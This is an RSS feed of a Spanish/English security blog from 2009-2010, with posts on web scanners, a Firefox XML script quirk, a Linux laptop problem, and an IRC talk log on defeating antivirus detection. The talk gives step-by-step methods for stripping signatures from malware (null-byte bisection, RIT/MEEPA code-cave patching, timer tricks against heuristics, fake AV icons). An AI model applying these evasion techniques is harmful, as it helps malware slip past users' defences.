<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo</title>
	<atom:link href="http://security-dojo.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Mandando tus logs a /dev/null desde 1976</description>
	<lastBuildDate>Thu, 25 Feb 2010 22:25:12 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Whitehat, Blackhat or .. CowHat?</title>
		<link>http://security-dojo.com/misc/whitehat-blackhat-or-cowhat/</link>
		<comments>http://security-dojo.com/misc/whitehat-blackhat-or-cowhat/#comments</comments>
		<pubDate>Thu, 25 Feb 2010 22:25:12 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=82</guid>
		<description><![CDATA[Thinking today a bit i tried to ask myself in which part of the &#8220;hats&#8221; i would go into, or most ppl go into?
I&#8217;ve never been a really fan of saying you can be a &#8220;pure&#8221; color hat, so i came up with this:

Yep .. whitehat with spots of black! juuuuust like my conscience!!
]]></description>
			<content:encoded><![CDATA[<p>Thinking today a bit i tried to ask myself in which part of the &#8220;hats&#8221; i would go into, or most ppl go into?</p>
<p>I&#8217;ve never been a really fan of saying you can be a &#8220;pure&#8221; color hat, so i came up with this:</p>
<p><a href="http://security-dojo.com/wp-content/uploads/2010/02/cowhat.jpg"><img src="http://security-dojo.com/wp-content/uploads/2010/02/cowhat.jpg" alt="" title="cowhat" width="425" height="304" class="aligncenter size-full wp-image-83" /></a></p>
<p>Yep .. whitehat with spots of black! juuuuust like my conscience!!</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/misc/whitehat-blackhat-or-cowhat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>And the XML weird parsing award goes to &#8230;</title>
		<link>http://security-dojo.com/uncategorized/and-the-xml-weird-parsing-lets-execute-everything-award-goes-to/</link>
		<comments>http://security-dojo.com/uncategorized/and-the-xml-weird-parsing-lets-execute-everything-award-goes-to/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 19:50:14 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=69</guid>
		<description><![CDATA[Well, yesterday I was contacted by someone and asked me to go visit a web page, I&#8217;m actually not fond of doing that at all, but him being a trustworthy person I clicked on the link and found myself looking at a alert script, &#8220;Well sure having a web page you control with java script [...]]]></description>
			<content:encoded><![CDATA[<p>Well, yesterday I was contacted by someone and asked me to go visit a web page, I&#8217;m actually not fond of doing that at all, but him being a trustworthy person I clicked on the link and found myself looking at a alert script, &#8220;Well sure having a web page you control with java script is not a great triumph&#8221; but then I started to check exactly what was being done and executed.</p>
<p>Opened my IExplorer (ugh) and visited the same page, and I just saw a normal XML:</p>
<p><a href="http://security-dojo.com/wp-content/uploads/2010/02/xml_javascript1.png"><img src="http://security-dojo.com/wp-content/uploads/2010/02/xml_javascript1.png" alt="" title="xml_javascript1" width="486" height="352" class="aligncenter size-full wp-image-75" /></a></p>
<p>So I came back to Firefox and revisited the webpage:</p>
<p><span id="more-69"></span></p>
<p><a href="http://security-dojo.com/wp-content/uploads/2010/02/xml_javascript2.png"><img src="http://security-dojo.com/wp-content/uploads/2010/02/xml_javascript2.png" alt="" title="xml_javascript2" width="563" height="371" class="aligncenter size-full wp-image-77" /></a></p>
<p>Mmmm this is .. interesting, this was exactly the point of the discussion as someone from a big company was actually saying this cannot be done and that it didn&#8217;t work on his firefox (maybe it was an IExplorer with a Firefox skin?)</p>
<p>This reminds me of java script being executed in CSS since couple of years ago anyway (that is for another post) I think I&#8217;m going to dive a bit more into this specific Firefox thing see how nice and how atractive can it be to keep on executing stuff, since as you can see the tags are not script or jscript or anything, just pure script and it works.</p>
<p>I might debug tonight the java machine in Firefox but I believe is the embedded part that tries to be too smart and ends up being too weak on this part.</p>
<p>More specific details shall come soon, still I have to ask whoever found it if he is ok with me running my research and publishing </p>
<p>Anyway, of to coding and debugging!</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/uncategorized/and-the-xml-weird-parsing-lets-execute-everything-award-goes-to/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Your Worst Enemy] Your Web Scanner</title>
		<link>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/</link>
		<comments>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/#comments</comments>
		<pubDate>Mon, 22 Feb 2010 01:58:10 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[NTOSpider]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[web scanner]]></category>
		<category><![CDATA[your worst enemy]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=57</guid>
		<description><![CDATA[Recently I saw an article about web scanners, I personaly don&#8217;t like them, why? well 
1. They are slow
2. They don&#8217;t have a sense of &#8220;weight&#8221; on the exploits
3. They miss half of the complex stuff
Couple of weeks ago we lost a bid based on the fact that the client tought we did everything automatic [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I saw an article about web scanners, I personaly don&#8217;t like them, why? well </p>
<p>1. They are slow<br />
2. They don&#8217;t have a sense of &#8220;weight&#8221; on the exploits<br />
3. They miss half of the complex stuff</p>
<p>Couple of weeks ago we lost a bid based on the fact that the client tought we did everything automatic (Errr LoL! apparently they don&#8217;t read the blog, didn&#8217;t read my resume and didn&#8217;t reaaaaally understood some facts but then again who can blame the girl that was in charge?) this was hilarious but posed a very good question:</p>
<p><strong>Why all scanners <del> SUCK</del> ARE BAD?</strong></p>
<p><span id="more-57"></span></p>
<p>I&#8217;m not saying I&#8217;m way better than all of them, but given enough time I can find even more stuff than them on simple and way more on complex privilege escalation ones, I find myself writting my own tools for jobs and trying to make them as smart as I can, this is really a fun but slow job.</p>
<p>You would really think that since ALL webscanners have sites to try your scanner against they would make sure they would get most of the bugs even on those sites right? .. WROOOOOOOOONG most scanners found 50% of the bugs, God that makes you feel such a nice feeling, knowing you just got a very expensive web scanner to find .. HALF OF YOUR BUGS!</p>
<p>Anyway most of people know I usually get get software and products to break them up and then just either keep them (like my cisco routers) or give them back (like the Tipping Points &#8230; I never get to keep one! -_- ), this time I got the &#8220;pepsi challenge&#8221; from <a href="http://www.ntobjectives.com">NT Objectives</a> couple of weeks ago, and I was pleasantly surprised when I managed to hack into my intranet test sites before it, with a nice smile waited untill it finished saw the report, then passed the next 2 days trying to figure out 30% of the bugs it found.</p>
<p>I contacted them and chatted to them, I showed them my results and they showed me how to reproduce it raw and on HTML and I finally figured those out, I didn&#8217;t even know my sites had those bugs, I started o read up on their site and chat with their engineers and realized they have JavaScript Machines not to only parse the code but to actually run it, so they actually try different variations to bypass the javascript, try referer SQL injections, save web pages to actually find and differentiate from Blind SQL Injection AND (And this got me in love with the damn scanner) they actually find the COMPLETE injection, not just like &#8220;ok this breaks thank you for using our scanner now go make the exploit work yourself&#8221; kind of deal, noooo nooo noooo I mean this dudes find the entire SQL string you can just click on &#8220;verify&#8221; and you can check the exploit and get the URL to push it into your favorite injection tool if you want, figuring that out usually takes a while and is annoying (on this specific site the bug was inside a procedure so most of the scanners just broke the stuff but never really exploited and they found the ) and made the &#8220;<em>foo&#8217;) or (1=1</em>&#8221; to gather how bad or good was the injection.</p>
<p>I&#8217;m really not going to go into detail in the results and how good it is, all I can say is .. I went and bought it for myself, dropping all the other web scanners, don&#8217;t need them anymore at all, I still run everthing by hand anyway, but I feel confident than the low hanging fruit will be covered by this thing and hasn&#8217;t failed me yet.</p>
<p>I&#8217;ll leave you with the links so you can read up on the report, I found it very interesting!</p>
<p><a href="http://news.slashdot.org/story/10/02/06/1933211/Web-App-Scanners-Miss-Half-of-Vulnerabilities"> Slashdot link covering the report </a><br />
<a href="http://ha.ckers.org/blog/20100203/accuracy-and-time-costs-of-web-application-security-scanner-report/">Original report</a><br />
<a href="http://ha.ckers.org/files/Accuracy_and_Time_Costs_of_Web_App_Scanners.pdf">PDF of the report</a></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/tu-peor-enemigo/your-worst-enemy-your-web-scanner/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Muerte al RunPE&#8230;</title>
		<link>http://security-dojo.com/security-bits/muerte-al-runpe/</link>
		<comments>http://security-dojo.com/security-bits/muerte-al-runpe/#comments</comments>
		<pubDate>Fri, 31 Jul 2009 05:51:44 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[misc]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=53</guid>
		<description><![CDATA[Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware
para ser indetectables a los AV&#8217;s

esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria
termina siendo igual sin importar el tipo de cambio ke s ele haga
ya ke es un [...]]]></description>
			<content:encoded><![CDATA[<p>Bien aki mi ultima creacion para matar todos esos crypters chafas okupados por gran cantidad de malware</p>
<p>para ser indetectables a los AV&#8217;s</p>
<p><span id="more-53"></span></p>
<p>esta tool se basa en que todo los programas ke okupan el runpe como tecnica para ejeucion en memoria</p>
<p>termina siendo igual sin importar el tipo de cambio ke s ele haga</p>
<p>ya ke es un metodo muy poko flexible y porlotanto muy vulnerable</p>
<p>bueno esta herramienta me costo varias semanas de investigacion y desarrollo</p>
<p>esta echa en delphi y masm(primera vez ke trabajo en forma con asm xP)</p>
<p>sin mas aki les dejo este juguetito junto con su screenshot correspondiente</p>
<p>http://www.gigasize.com/get.php?d=b32byccdznf</p>
<p><img class="alignleft size-medium wp-image-54" src="http://security-dojo.com/wp-content/uploads/2009/07/screenshot-300x188.jpg" alt="screenshot" width="300" height="188" /></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/muerte-al-runpe/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>whitehats.com.mx</title>
		<link>http://security-dojo.com/misc/whitehatscommx/</link>
		<comments>http://security-dojo.com/misc/whitehatscommx/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 18:04:55 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[misc]]></category>
		<category><![CDATA[whitehats]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=50</guid>
		<description><![CDATA[Hoy termine de dar de alta whitehats.com.mx un &#8220;facebook&#8221; (red social) de personas que les interese en seguridad tanto en Mexico como en el mundo, pero mas enfocado a Mexico, intentando poner cada vez mas apenfra y nhacker listo para poder hacer publish de los tools.
]]></description>
			<content:encoded><![CDATA[<p>Hoy termine de dar de alta whitehats.com.mx un &#8220;facebook&#8221; (red social) de personas que les interese en seguridad tanto en Mexico como en el mundo, pero mas enfocado a Mexico, intentando poner cada vez mas apenfra y nhacker listo para poder hacer publish de los tools.</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/misc/whitehatscommx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Machancando AV&#8217;s</title>
		<link>http://security-dojo.com/uncategorized/machancando-avs/</link>
		<comments>http://security-dojo.com/uncategorized/machancando-avs/#comments</comments>
		<pubDate>Mon, 16 Mar 2009 22:54:40 +0000</pubDate>
		<dc:creator>psymera</dc:creator>
				<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=45</guid>
		<description><![CDATA[Bien ahora para iniciar en este blog
el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s
y como kitarselas a nuestros juguetitos experimentales xP

&#60;Psymera&#62; ah si no les comente mi gato se llama antivirus
&#60;Psymera&#62; y es la onda xxD
&#60;sdc&#62; jajajaja
&#60;rey_brujo&#62; Juar!
&#60;Etal&#62; Llamaba&#8230;.
&#60;sdc&#62; neta?
&#60;Drackoz&#62; ~
&#60;sdc&#62; que cool
&#60;sdc&#62; XD
&#60;Etal&#62; se murio
&#60;Psymera&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>Bien ahora para iniciar en este blog</p>
<p>el log de una charla ke di en un canarl irc sobre las firmas de los av&#8217;s</p>
<p>y como kitarselas a nuestros juguetitos experimentales xP</p>
<p><span id="more-45"></span></p>
<p><strong>&lt;Psymera&gt; ah si no les comente mi gato se llama antivirus<br />
&lt;Psymera&gt; y es la onda xxD</strong><br />
&lt;sdc&gt; jajajaja<br />
&lt;rey_brujo&gt; Juar!<br />
&lt;Etal&gt; Llamaba&#8230;.<br />
&lt;sdc&gt; neta?<br />
&lt;Drackoz&gt; ~<br />
&lt;sdc&gt; que cool<br />
&lt;sdc&gt; XD<br />
&lt;Etal&gt; se murio<br />
&lt;Psymera&gt; no ese es otro<br />
&lt;elprimodel5patas&gt; ./cry<br />
&lt;sdc&gt; lo compro symantec<br />
&lt;Psymera&gt; era la particion ToT<br />
&lt;Psymera&gt; XD<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;hkm&gt; xD<br />
&lt;Drackoz&gt; Xd<br />
&lt;Psymera&gt; bueno ahora si me pondre serio ( aja xD)<br />
&lt;elprimodel5patas&gt; no, ya enserio hablales chimero por que estamos perdiendo auditorio<br />
&lt;jimtronic&gt; hablen<br />
&lt;Psymera&gt; (es el chiste para no hacer ridiculo en grande)<br />
&lt;Links_Engel&gt; jajaja<br />
&lt;Psymera&gt; bueno ya xD<br />
&lt;Psymera&gt; como todos sabemos hay tres metodos conocidos de detecion de virus XD<br />
&lt;Psymera&gt; por Firmas<br />
&lt;Psymera&gt; por heuristica<br />
&lt;Psymera&gt; y la ahora tan famosa y sonada proactiva( como la bautiso el kaspersky)<br />
&lt;Psymera&gt; bueno las Firmas son basico encontrar un archivo con siertos valores en ekis direccion<br />
&lt;Psymera&gt; haci nos detecta faiclmente ke tenemos un mydoom.abx<br />
&lt;Psymera&gt; o etc<br />
&lt;Psymera&gt; la heuristica okupa tanto firmas muy comunes en offsets, como la tabla de importaciones del archivo<br />
&lt;Psymera&gt; y la famosa proactiva (aja XD) ke no es mas ke hookear las apis del sistema<br />
&lt;Psymera&gt; y haci cogernos de los eggs xP<br />
&lt;Psymera&gt; en si nos enfocaremos ah la heuristica por ke es la divertida y facil de parchar XD<br />
&lt;Psymera&gt; y con eso nos llevamos firmas entre las panteras xP<br />
&lt;Psymera&gt; en si es una vercion modificada sobre las firmas clasicas las cuales tmb las cheka en memoria xP<br />
&lt;Psymera&gt; por eso aun ke le pongamos upx o demaz compresores al cargarlo en memoria nos detectara facilmente<br />
<strong>&lt;Psymera&gt; bueno para kitar firmas hay varias tecnicas<br />
&lt;Psymera&gt; de las conocidas esta la  RIT, MEEPA y hex XD</strong><br />
&lt;Psymera&gt; hoenstamente de estas tres ke son als mas conocidas la hex es una ke se basa solamente en la suerte para ke sea funcional<br />
&lt;Psymera&gt; y las otras dos es necesario conocimiento mas o menos decente de asm<br />
&lt;Psymera&gt; bueno para poder hacer todo esti primero tenemos ke encontrar las firmas ke hay ke modificar<br />
&lt;Psymera&gt; lo mas basico ke necesitamos, block de notas, hex editor y el AV del cual keremos sacar los offsets<br />
&lt;Psymera&gt; primero una carpeta la excluimos del scaneo por parte de nuestro AV<br />
<strong>&lt;Psymera&gt; ahi guardaremos nuestro kerido malware  ke no distribuiremos y solo lo haremos por experiementacion ( aja :p)<br />
&lt;Psymera&gt; lo vamos abrir con nuestro hex editor y vamos ah rellenar la mitad de el con bytes nulos XD y guardamos esa copia modificada en una carpeta ke si sea escaneada por nuestro av residente<br />
&lt;Psymera&gt; el chiste de esto<br />
&lt;Psymera&gt; es ke nos lo detecte el av<br />
&lt;Psymera&gt; y nos borre esa muestra<br />
&lt;Psymera&gt; o la kite o grite o lo ke sea ke haga el Av xP<br />
&lt;Psymera&gt; el chiste es buscar el lado donde no nos indike ke fue encotnrado<br />
&lt;Psymera&gt; apartir de ello trataremos de redusir la buskeda<br />
&lt;Psymera&gt; osea volvemos au nuestro hex editor y rellenamos denuevo pero en un espacio mas pekeño</strong><br />
&lt;Psymera&gt; haci ke con mucha pasiencia cafe y musica podemos sacarlo manualmente<br />
&lt;Psymera&gt; muchas de las veces( por no decir ke todas) nuestro rat packer o lo ke sea es detectado por varias firmas<br />
&lt;Psymera&gt; entonces tenemos ke ir haciendo pekeños rellenados con el hex editor<br />
&lt;Psymera&gt; y para no perdernos okupamos nuestro notepad para guardar neustro avanze y no kedar dañados con tanto numero XD<br />
&lt;Psymera&gt; bueno esta tarea se puede simplificar okupando herramientas espesificas como son<br />
&lt;Psymera&gt; signature cero, AVDevil y varias mas<br />
&lt;Psymera&gt; ke lo ke hacen es hacer este rellenado pero de una forma mas burda por llamarlo de una manera<br />
&lt;Psymera&gt; ya ke van creando ejemplares con blokes de un taaño determinado<br />
&lt;Psymera&gt; estas eran utiles o bueno lo son cuando nuestro AV es detectado por una sola firma<br />
&lt;Psymera&gt; (bien ahroa el super comercial de mi tool xD)<br />
&lt;elprimodel5patas&gt; go go go go!!<br />
<strong>&lt;Psymera&gt; bueno por ese motivo yo cree la herramienta AAVTools (Anti AntiViral Tools) ke sirve para identificacion de multiples firmas<br />
&lt;Psymera&gt; esta basada en la idea principal de signature cero de darnos una apariencia mas amigable en la deteccion de firmas<br />
&lt;Psymera&gt; poniendonos una linda barrita la cual reprecentara el cuerpo de nuestro amado malware xP</strong><br />
&lt;Psymera&gt; (termina comercial, al final sabran como cosnegirlo con faciles pagos de 9.95 xD)<br />
&lt;Psymera&gt; bueno suponiendo ke ya tenemos nuestra lista de firmas<br />
&lt;Psymera&gt; okuparemos la tecnica ke mas nos guste o acomode<br />
<strong>&lt;Psymera&gt; (bueno primero para tirarle tierra a la hex XD)<br />
&lt;Psymera&gt; se trata de teniendo nuestra firma okuparemos un hex editor para ver su valor y sumarle o restarle un valor para ke no sea detectado<br />
&lt;Psymera&gt; oviamente esto kitara la firma detectada pero lo ams provable es ke mate el flujo del programa<br />
&lt;Psymera&gt; ya ke estamos moviendo valores ah ciegas<br />
&lt;Psymera&gt; la tecnica rit se basa en mover un bloke de instrucciones ah otra parte del programa y volver al flujo normal<br />
&lt;Psymera&gt; y la meepa es una vercion modificada de la rit<br />
&lt;Psymera&gt; pero podriamos decir ke mas practica<br />
&lt;Psymera&gt; se trata de modificar los valores con un hex editor ah nuestro programa original y ponerle una rutina al principio del mismo ke nos vuelva a poner los valores originales pero en memoria</strong><br />
<strong>&lt;Psymera&gt; bueno para cualkiera de estas dos tecnicas necesitamos encontrar caverns en nuestro programa</strong><br />
&lt;hkm&gt; asi es como se ve el tool de psymera (bueno la version anterior): <a href="http://img264.imageshack.us/img264/8896/screenshotpq6.jpg" target="_blank">http://img264.imageshack.us/img264/8896/screenshotpq6.jpg</a><br />
<strong>&lt;Psymera&gt; ke no son mas ke huecos ke deja el compilador ah la hora de crearlo para mantener alineadas las direcciones en memoria o demaz xP<br />
&lt;Psymera&gt; para ello hay varias tool;  PEID, un script de ollydbg, topo(herramienta especialisada en ello) y otras mas<br />
&lt;Psymera&gt; (cof cof la nueva vercion de mi tool ya hace tmb esa funcion)<br />
&lt;Psymera&gt; pero bueno la mas okupada es el topo</strong><br />
&lt;Psymera&gt; esta herramienta nos da la opcion de buscar un tamaño minimo de la caverna o de no ayarlo aumentar el tamaño de alguna seccion o añadir una nueva para tenerlo<br />
&lt;Psymera&gt; la mayoria de las veces no necesitamos okupar esas dos ultimas opciones<br />
&lt;Psymera&gt; pero bueno volviendo ah la rit<br />
&lt;Psymera&gt; abriremos ahora nuestro malware a modificar en en ollydbg<br />
&lt;Psymera&gt; y buscaremos nuestra offset<br />
&lt;Psymera&gt; bueno para ayarla se me olvido decirles tmb xP<br />
&lt;Psymera&gt; ke okuparemos saber el valor de la imagebase del programa<br />
&lt;Psymera&gt; para sumarlo ah nuestro offset y tener nuestra direccion como RVA XD<br />
&lt;Psymera&gt; bueno teniendo la RVA del offset la buscaremos en el olly<br />
&lt;Psymera&gt; bueno primero buscamos nuestra firma ke es detectada<br />
&lt;Psymera&gt; como es un solo byte generalmente okupara parte de intruccioens mas grandes<br />
&lt;Psymera&gt; por ejemplo supongamos ke nuestra firma tiene un valor f6<br />
&lt;Psymera&gt; y la encontramos en estea instruccion<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; bueno copiaremos esta intruccion ah nuestro block de notas xP<br />
&lt;Psymera&gt; ademas de las siguientes tres<br />
&lt;Psymera&gt; 00403505   31F6             XOR ESI,ESI<br />
&lt;Psymera&gt; 00403507   8932             MOV DWORD PTR DS:[EDX],ESI<br />
&lt;Psymera&gt; 00403509   5F               POP EDI<br />
&lt;Psymera&gt; 0040350A   5E               POP ESI<br />
&lt;Psymera&gt; esto es por ponerles un ejemplo<br />
&lt;Psymera&gt; y guardamos la direcciond e la siguiente instruccion<br />
&lt;Psymera&gt; bien ya teniendo nuestro bloke de instrucciones okuparemos nuestra caverna<br />
&lt;Psymera&gt; de igual forma ke sacamos la RVA de la firma<br />
&lt;Psymera&gt; sacamos la caverna y nos dirigimos ah ella<br />
&lt;Psymera&gt; y copiaremos nuestro bloke de instrucciones ke copiamos ah ella<br />
&lt;Psymera&gt; al terminal el bloke le añadiremos un JMP 0040350B ke es en nuestro caso la siguient insutrccion ke se ejecutaria en el programa<br />
&lt;Psymera&gt; y volvemos denuevo a la direccion de nuestra firma<br />
&lt;Psymera&gt; y ah la intruccion la sobreescribiremos con un JMP direccion_de_la_cave<br />
&lt;Psymera&gt; y ya guardamos nuestro ejecutable modificado y lo corremos para provarlo<br />
<strong>&lt;Psymera&gt; el AV no nos lo deve de tomar como espesimen o en todo caso ke aun nos detecte lo hara como una variante diferente o como otro malware, por las firmas detectadas</strong><br />
&lt;sdc&gt; que pasa si el programa hace referencia a la memoria que desplazamos? por ejemplo si es un for que tiene como marcador de inicio la instruccion 403509 o algo asi..<br />
&lt;sdc&gt; se muere el programa supongo, no seria mas eficiente colocar instrucciones equivalentes?<br />
&lt;Psymera&gt; para eso existe la tecnica meepa xP<br />
&lt;sdc&gt; como en ese xor esi esi, un mov esi 0<br />
&lt;Psymera&gt; ke es una vercion refinada de la rit o pordriamos buscar otras firmas mas sencilla ke sean detectadas<br />
&lt;Psymera&gt; aun ke si es valido como lo dices pero el problema es ke igual no son del mismo tamaño las intrcciones<br />
&lt;sdc&gt; ah sisi<br />
&lt;sdc&gt; eso es verdad<br />
&lt;Psymera&gt; entocnes tendriamos ke mover mucho las direccion y demaz<br />
&lt;sdc&gt; pero la de meepa recrea el virus en memoria no?<br />
&lt;Psymera&gt; haci es<br />
&lt;sdc&gt; muchos antivirus checan tambien la memoria no?<br />
&lt;sdc&gt; no solo el archivo<br />
&lt;Psymera&gt; en parte<br />
&lt;Psymera&gt; hacen un chekeo en memoria pero solo X instricciones o tiempo al principio<br />
&lt;sdc&gt; ah vaya<br />
&lt;Psymera&gt; bueno deja explico mepa xP rapido para regrear ah esto<br />
<strong>&lt;Psymera&gt; bueno tal como sdc comento mepa se trata de recostruir el programa en memoria<br />
&lt;Psymera&gt; esto se hace teniendo las offsets y sus valores originales<br />
&lt;Psymera&gt; al principio del programa antes de cualkier instruccion crea un salto a una cave<br />
&lt;Psymera&gt; la cual contiene un codigo ke regenera los valores en memoria ah su estado original<br />
&lt;Psymera&gt; y despues regresa al flujo normal del programa</strong><br />
&lt;Psymera&gt; por lo cual muchas firmas dificiles de modificar o sencibles ya no lo son<br />
&lt;Psymera&gt; pero bueno aki encotnramos el problema del analizis en memoria<br />
<strong>&lt;Psymera&gt; los antivirus igual nos buscan las firmas una vez cargado en memoria y durante los primeros X ciclos de ejeccion</strong><br />
&lt;Psymera&gt; entre ello va la simulacion de ejecuccion para buscar firmas o rutinas sospechosas<br />
&lt;Psymera&gt; pero bueno esto no es una labor infinita o ke se mantenga ah lo largo de toda la ejecucion<br />
Psymera&gt; por lo mismo ke es demaciado costoso en recursos<br />
&lt;Psymera&gt; y gracias ah ello podemos evitar mucha deteccion cuando somos geniales en asm y sabemos meter unas buenas rutinas haci en bruto en las cavernas o teniendo el codigo fuente<br />
&lt;sdc&gt; jajaja..<br />
&lt;Psymera&gt; por ejemplo karsperky es muy facil de saltar su heuristica por ello mismo<br />
<strong>&lt;Psymera&gt; por poner un ejemplo comunmente okupado en malware echo en vb<br />
&lt;Psymera&gt; es el de poner un timer ah X cantidad de mili segundos y ese a su vez active otro timer y haci ssesivamente XD<br />
&lt;Psymera&gt; aun ke bueno se puede hacer on uno solo y solo okupar un bloke<br />
&lt;Psymera&gt; o okpar un hilo<br />
&lt;Psymera&gt; el chiste es ke okupemos esa cantidad de chekeos ke tiene permitido hacer</strong><br />
Psymera&gt; y con ello saltarnos su heuristica<br />
&lt;Psymera&gt; esto de igual forma podemos implementarlos con las tecnicas ke comente anteriormente para introduccion de codigo<br />
&lt;Psymera&gt; bien bueno<br />
&lt;Psymera&gt; preguntas comentarios<br />
&lt;Psymera&gt; mentadas? XD<br />
&lt;Psymera&gt; me falto algo? xP<br />
&lt;hkm&gt; tu tool lo pondre en el log de la platica<br />
&lt;hkm&gt; attacheado al post<br />
&lt;Psymera&gt; vap xP<br />
&lt;elprimodel5patas&gt; esta muy chinga la tool<br />
&lt;Psymera&gt; bien de perdida refreskenmela XD<br />
&lt;Drackoz&gt; no pues estuvo buena la exposicion del meepa<br />
&lt;hkm&gt; Se me hizo interesante todas las formas diferentes de brincar las firmas, y es lo mismo para packers y crypters y demas?<br />
&lt;Psymera&gt; haci es<br />
&lt;SAKIA&gt; eip!! meepa rulez!! or algun killav<br />
&lt;Psymera&gt; no me gustan en lo personal los killav<br />
&lt;elprimodel5patas&gt; por?<br />
&lt;SAKIA&gt; no son etikos jajajaja<br />
&lt;Psymera&gt; son poko artisticos y chillan mucho<br />
&lt;Psymera&gt; cuando vez ke el iconito del AV ya noe sta en el task<br />
&lt;Psymera&gt; te espantas<br />
&lt;elprimodel5patas&gt; lol<br />
&lt;elprimodel5patas&gt; verga que le hice!<br />
&lt;elprimodel5patas&gt; te paniqueas tu<br />
&lt;Psymera&gt; esactamente eso ,xd<br />
&lt;elprimodel5patas&gt; en ves de la compu<br />
&lt;elprimodel5patas&gt; si me ah pasdo jeejejej<br />
&lt;elprimodel5patas&gt; que eliminas cosas que no querias<br />
&lt;SAKIA&gt; tienen su chiste pero si hicieras tu colecc de icons<br />
<strong>&lt;SAKIA&gt; asi nomas cuelgas un icono basura pa que no se den cuenta jajaja y hasta los procesos fakeaz</strong><br />
&lt;Psymera&gt; esta bien eso<br />
&lt;Psymera&gt; pero honestamente ah mi me gusta mas la parte romantica de uno contra la compañia completa del AV XD<br />
&lt;SAKIA&gt; pues tambien es jocoso uno contra el av<br />
&lt;hkm&gt; muy bien pues con eso terminamos las platicas<br />
<strong>&lt;sdc&gt; deberias hacer un killav que ponga un icono que sea iwal al antivirus que usas</strong><br />
&lt;jimtronic&gt; pos aprendimos mucho ahora<br />
&lt;sdc&gt; y no haga nada, nomas este ahi<br />
&lt;SAKIA&gt; sdc es lo que io decia<br />
&lt;sdc&gt; seh buena idea<br />
&lt;Psymera&gt; xD<br />
&lt;sdc&gt; jajajaja<br />
&lt;Drackoz&gt; valio la pena la espera<br />
&lt;Drackoz&gt; y la desvelada</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/uncategorized/machancando-avs/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Problemas en mi Dell 640m con Ubuntu en kernel 2.6.24-23-generic</title>
		<link>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/</link>
		<comments>http://security-dojo.com/linux/problemas-en-mi-dell-640m-con-ubuntu-en-kernel-2624-23-generic/#comments</comments>
		<pubDate>Thu, 12 Mar 2009 18:07:09 +0000</pubDate>
		<dc:creator>nahual</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[linux dell 640m ubuntu kernel problema broadcom]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=42</guid>
		<description><![CDATA[Bueno mi Dell 640m tiene una tarjeta de red broadcom (lo recuerdo por la flojera de tener que bajar el driver cuando instalo windows para jugar) y nunca me habia pasado nada interesante sobre el ubuntu que uso para las pruebas de volumen y desarrollo de aplicaciones.
Sin embargo hice el update y luego apague la [...]]]></description>
			<content:encoded><![CDATA[<p>Bueno mi Dell 640m tiene una tarjeta de red broadcom (lo recuerdo por la flojera de tener que bajar el driver cuando instalo windows para jugar) y nunca me habia pasado nada interesante sobre el ubuntu que uso para las pruebas de volumen y desarrollo de aplicaciones.</p>
<p>Sin embargo hice el update y luego apague la maquina y cambie el disco, y ayer tuve que usar ese disco (pueden ver mi excelente aventura con el disco <a href="http://www.tumamafuemia.org/2009/03/11/cuando-se-es-pendejo/">aqui</a>) y me ocurrio algo muy interesante, perdia muchisimos paquetes pero a intervales medianamente regulares.</p>
